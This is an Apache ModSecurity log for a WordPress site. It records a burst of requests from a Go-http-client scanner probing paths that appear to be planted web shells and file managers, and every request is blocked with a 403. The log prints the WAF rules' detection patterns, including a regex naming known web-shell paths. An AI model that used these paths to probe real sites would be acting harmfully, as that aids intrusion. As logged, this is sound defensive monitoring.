[Mon Dec 08 17:28:34.189927 2025] [:error] [pid 37840:tid 37851] [client 98.159.43.24:53047] [client 98.159.43.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/TOPXOH/wDR.php"] [unique_id "aTaaQlnJIKqlie_aHNbGdwAAAYg"]
[Mon Dec 08 17:28:34.574915 2025] [:error] [pid 58758:tid 58762] [client 98.159.43.45:25943] [client 98.159.43.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aTaaQgBS5U6_vVkyhEeCKAAAAEA"]
[Mon Dec 08 17:28:34.922447 2025] [:error] [pid 37840:tid 37866] [client 98.159.43.44:62519] [client 98.159.43.44] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/Divi/404.php"] [unique_id "aTaaQlnJIKqlie_aHNbGeAAAAZc"]
[Mon Dec 08 17:28:35.287789 2025] [:error] [pid 58759:tid 58791] [client 98.159.43.15:49463] [client 98.159.43.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/classwithtostring.php"] [unique_id "aTaaQ_6HZGkO2H0XX-h4SAAAAME"]
[Mon Dec 08 17:28:35.785302 2025] [:error] [pid 58758:tid 58777] [client 98.159.43.14:44889] [client 98.159.43.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aTaaQwBS5U6_vVkyhEeCKgAAAE8"]
[Mon Dec 08 17:28:36.143917 2025] [:error] [pid 63353:tid 63373] [client 98.159.43.11:63109] [client 98.159.43.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aTaaRBtg8HdYG392GAj-mAAAAJE"]
[Mon Dec 08 17:28:36.513146 2025] [:error] [pid 2754:tid 2776] [client 98.159.43.42:61537] [client 98.159.43.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/about.php"] [unique_id "aTaaRLSzS4AFjS-DhTUSDwAAAVI"]
[Mon Dec 08 17:28:36.868409 2025] [:error] [pid 63353:tid 63364] [client 98.159.43.20:51655] [client 98.159.43.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hello.php"] [unique_id "aTaaRBtg8HdYG392GAj-mQAAAIg"]
[Mon Dec 08 17:28:37.230033 2025] [:error] [pid 2754:tid 2758] [client 98.159.43.15:51931] [client 98.159.43.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aTaaRbSzS4AFjS-DhTUSEAAAAUE"]
[Mon Dec 08 17:28:37.578312 2025] [:error] [pid 58759:tid 58809] [client 98.159.43.48:42637] [client 98.159.43.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aTaaRf6HZGkO2H0XX-h4SwAAANM"]
[Mon Dec 08 17:28:37.976368 2025] [:error] [pid 58758:tid 58764] [client 98.159.43.15:50913] [client 98.159.43.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aTaaRQBS5U6_vVkyhEeCLgAAAEI"]
[Mon Dec 08 17:28:38.331622 2025] [:error] [pid 58760:tid 58817] [client 98.159.43.33:31399] [client 98.159.43.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aTaaRmqmF_jKbCz9E6lPkwAAAAA"]
[Mon Dec 08 17:28:38.689744 2025] [:error] [pid 37840:tid 37846] [client 98.159.43.26:20189] [client 98.159.43.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aTaaRlnJIKqlie_aHNbGegAAAYM"]
[Mon Dec 08 17:28:39.046649 2025] [:error] [pid 37840:tid 37855] [client 98.159.43.36:51605] [client 98.159.43.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aTaaR1nJIKqlie_aHNbGewAAAYw"]
[Mon Dec 08 17:28:39.404422 2025] [:error] [pid 58758:tid 58781] [client 98.159.43.11:36721] [client 98.159.43.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aTaaRwBS5U6_vVkyhEeCMAAAAFM"]
[Mon Dec 08 17:28:39.756622 2025] [:error] [pid 58758:tid 58770] [client 98.159.43.16:40631] [client 98.159.43.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/dropdown.php"] [unique_id "aTaaRwBS5U6_vVkyhEeCMQAAAEg"]
[Mon Dec 08 17:28:40.112157 2025] [:error] [pid 58758:tid 58768] [client 98.159.43.42:24633] [client 98.159.43.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aTaaSABS5U6_vVkyhEeCNAAAAEY"]
[Mon Dec 08 17:28:40.474616 2025] [:error] [pid 58758:tid 58762] [client 98.159.43.26:59377] [client 98.159.43.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aTaaSABS5U6_vVkyhEeCNQAAAEA"]
[Mon Dec 08 17:28:40.829340 2025] [:error] [pid 37840:tid 37849] [client 98.159.43.32:51759] [client 98.159.43.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aTaaSFnJIKqlie_aHNbGfgAAAYY"]
[Mon Dec 08 17:28:41.190796 2025] [:error] [pid 2754:tid 2759] [client 98.159.43.42:36461] [client 98.159.43.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/plugins.php"] [unique_id "aTaaSbSzS4AFjS-DhTUSFgAAAUI"]
[Mon Dec 08 17:28:41.544843 2025] [:error] [pid 58758:tid 58777] [client 98.159.43.11:23849] [client 98.159.43.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/index.php"] [unique_id "aTaaSQBS5U6_vVkyhEeCOAAAAE8"]
[Mon Dec 08 17:28:41.894826 2025] [:error] [pid 58760:tid 58832] [client 98.159.43.8:35751] [client 98.159.43.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aTaaSWqmF_jKbCz9E6lPlQAAAA8"]
[Mon Dec 08 17:28:42.251617 2025] [:error] [pid 63353:tid 63374] [client 98.159.43.47:22199] [client 98.159.43.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/about.php"] [unique_id "aTaaShtg8HdYG392GAj-nAAAAJI"]
[Mon Dec 08 17:28:42.603236 2025] [:error] [pid 58758:tid 58780] [client 98.159.43.11:26457] [client 98.159.43.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/dropdown.php"] [unique_id "aTaaSgBS5U6_vVkyhEeCOgAAAFI"]
[Mon Dec 08 17:28:42.966419 2025] [:error] [pid 58847:tid 58860] [client 98.159.43.9:25145] [client 98.159.43.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aTaaSny4UHQXWKMwpHnZ6gAAAQc"]
[Mon Dec 08 17:28:43.339983 2025] [:error] [pid 63353:tid 63372] [client 98.159.43.33:41637] [client 98.159.43.33] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aTaaSxtg8HdYG392GAj-ngAAAJA"]
[Mon Dec 08 17:28:43.687180 2025] [:error] [pid 58758:tid 58770] [client 98.159.43.37:44589] [client 98.159.43.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aTaaSwBS5U6_vVkyhEeCPAAAAEg"]
[Mon Dec 08 17:28:44.040477 2025] [:error] [pid 58758:tid 58763] [client 98.159.43.46:43939] [client 98.159.43.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/fmadmin.php"] [unique_id "aTaaTABS5U6_vVkyhEeCPgAAAEE"]
[Mon Dec 08 17:28:44.390152 2025] [:error] [pid 58847:tid 58861] [client 98.159.43.52:54983] [client 98.159.43.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/options.php"] [unique_id "aTaaTHy4UHQXWKMwpHnZ6wAAAQg"]
[Mon Dec 08 17:28:44.739440 2025] [:error] [pid 63353:tid 63369] [client 98.159.43.39:61733] [client 98.159.43.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/about.php"] [unique_id "aTaaTBtg8HdYG392GAj-nwAAAI0"]
[Mon Dec 08 17:28:45.092525 2025] [:error] [pid 2754:tid 2770] [client 98.159.43.3:46877] [client 98.159.43.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aTaaTbSzS4AFjS-DhTUSGgAAAU0"]
[Mon Dec 08 17:28:45.454290 2025] [:error] [pid 58759:tid 58791] [client 98.159.43.45:54177] [client 98.159.43.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aTaaTf6HZGkO2H0XX-h4TgAAAME"]
[Mon Dec 08 17:28:45.816298 2025] [:error] [pid 58759:tid 58806] [client 98.159.43.2:53393] [client 98.159.43.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aTaaTf6HZGkO2H0XX-h4TwAAANA"]
[Mon Dec 08 17:28:46.228907 2025] [:error] [pid 58847:tid 58865] [client 98.159.43.20:33257] [client 98.159.43.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/shell20211028.php"] [unique_id "aTaaTny4UHQXWKMwpHnZ7gAAAQw"]
[Mon Dec 08 17:28:46.578440 2025] [:error] [pid 58760:tid 58834] [client 98.159.43.21:65089] [client 98.159.43.21] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wordfence-waf.php"] [unique_id "aTaaTmqmF_jKbCz9E6lPmQAAABE"]
[Mon Dec 08 17:28:46.975747 2025] [:error] [pid 63353:tid 63363] [client 98.159.43.16:44129] [client 98.159.43.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/mah/function.php"] [unique_id "aTaaThtg8HdYG392GAj-pQAAAIc"]
[Mon Dec 08 17:28:47.332951 2025] [:error] [pid 63353:tid 63373] [client 98.159.43.29:46615] [client 98.159.43.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/function.php"] [unique_id "aTaaTxtg8HdYG392GAj-pgAAAJE"]
[Mon Dec 08 17:28:47.687654 2025] [:error] [pid 58758:tid 58769] [client 98.159.43.28:30519] [client 98.159.43.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin.php"] [unique_id "aTaaTwBS5U6_vVkyhEeCQwAAAEc"]
[Mon Dec 08 17:28:48.037791 2025] [:error] [pid 2754:tid 2765] [client 98.159.43.23:36363] [client 98.159.43.23] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/dropdown.php"] [unique_id "aTaaULSzS4AFjS-DhTUSIAAAAUg"]
[Mon Dec 08 17:28:48.402260 2025] [:error] [pid 58759:tid 58812] [client 98.159.43.5:31667] [client 98.159.43.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/content.php"] [unique_id "aTaaUP6HZGkO2H0XX-h4UQAAANY"]
[Mon Dec 08 17:28:48.757367 2025] [:error] [pid 58759:tid 58798] [client 98.159.43.13:57953] [client 98.159.43.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aTaaUP6HZGkO2H0XX-h4UwAAAMg"]
[Mon Dec 08 17:28:49.125824 2025] [:error] [pid 37840:tid 37853] [client 98.159.43.33:21457] [client 98.159.43.33] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aTaaUVnJIKqlie_aHNbGggAAAYo"]
[Mon Dec 08 17:28:49.481009 2025] [:error] [pid 58758:tid 58766] [client 98.159.43.24:29819] [client 98.159.43.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aTaaUQBS5U6_vVkyhEeCRQAAAEQ"]
[Mon Dec 08 17:28:49.839934 2025] [:error] [pid 63353:tid 63366] [client 98.159.43.40:40115] [client 98.159.43.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/upload.php"] [unique_id "aTaaURtg8HdYG392GAj-qAAAAIo"]
[Mon Dec 08 17:28:50.187825 2025] [:error] [pid 2754:tid 2775] [client 98.159.43.30:51425] [client 98.159.43.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/bypass.php"] [unique_id "aTaaUrSzS4AFjS-DhTUSIQAAAVE"]
[Mon Dec 08 17:28:50.547380 2025] [:error] [pid 2754:tid 2763] [client 98.159.43.43:47671] [client 98.159.43.43] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aTaaUrSzS4AFjS-DhTUSIgAAAUY"]
[Mon Dec 08 17:28:50.914236 2025] [:error] [pid 37840:tid 37861] [client 98.159.43.36:53931] [client 98.159.43.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aTaaUlnJIKqlie_aHNbGiAAAAZI"]
[Mon Dec 08 17:28:52.711532 2025] [:error] [pid 63353:tid 63362] [client 98.159.43.43:63853] [client 98.159.43.43] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/xl2023.php"] [unique_id "aTaaVBtg8HdYG392GAj-rgAAAIY"]
[Mon Dec 08 17:28:53.093497 2025] [:error] [pid 2754:tid 2761] [client 98.159.43.40:51733] [client 98.159.43.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aTaaVbSzS4AFjS-DhTUSJgAAAUQ"]
[Mon Dec 08 17:28:53.457509 2025] [:error] [pid 37840:tid 37860] [client 98.159.43.41:40557] [client 98.159.43.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/login.php"] [unique_id "aTaaVVnJIKqlie_aHNbGjQAAAZE"]
[Mon Dec 08 17:28:53.816153 2025] [:error] [pid 37840:tid 37848] [client 98.159.43.35:44405] [client 98.159.43.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aTaaVVnJIKqlie_aHNbGkAAAAYU"]
[Mon Dec 08 17:28:54.180381 2025] [:error] [pid 58847:tid 58857] [client 98.159.43.8:50025] [client 98.159.43.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aTaaVny4UHQXWKMwpHnZ-gAAAQQ"]
[Mon Dec 08 17:28:54.530357 2025] [:error] [pid 58759:tid 58809] [client 98.159.43.47:53019] [client 98.159.43.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aTaaVv6HZGkO2H0XX-h4ZgAAANM"]
[Mon Dec 08 17:28:54.881906 2025] [:error] [pid 37840:tid 37846] [client 98.159.43.26:58089] [client 98.159.43.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/gel4y.php"] [unique_id "aTaaVlnJIKqlie_aHNbGkgAAAYM"]
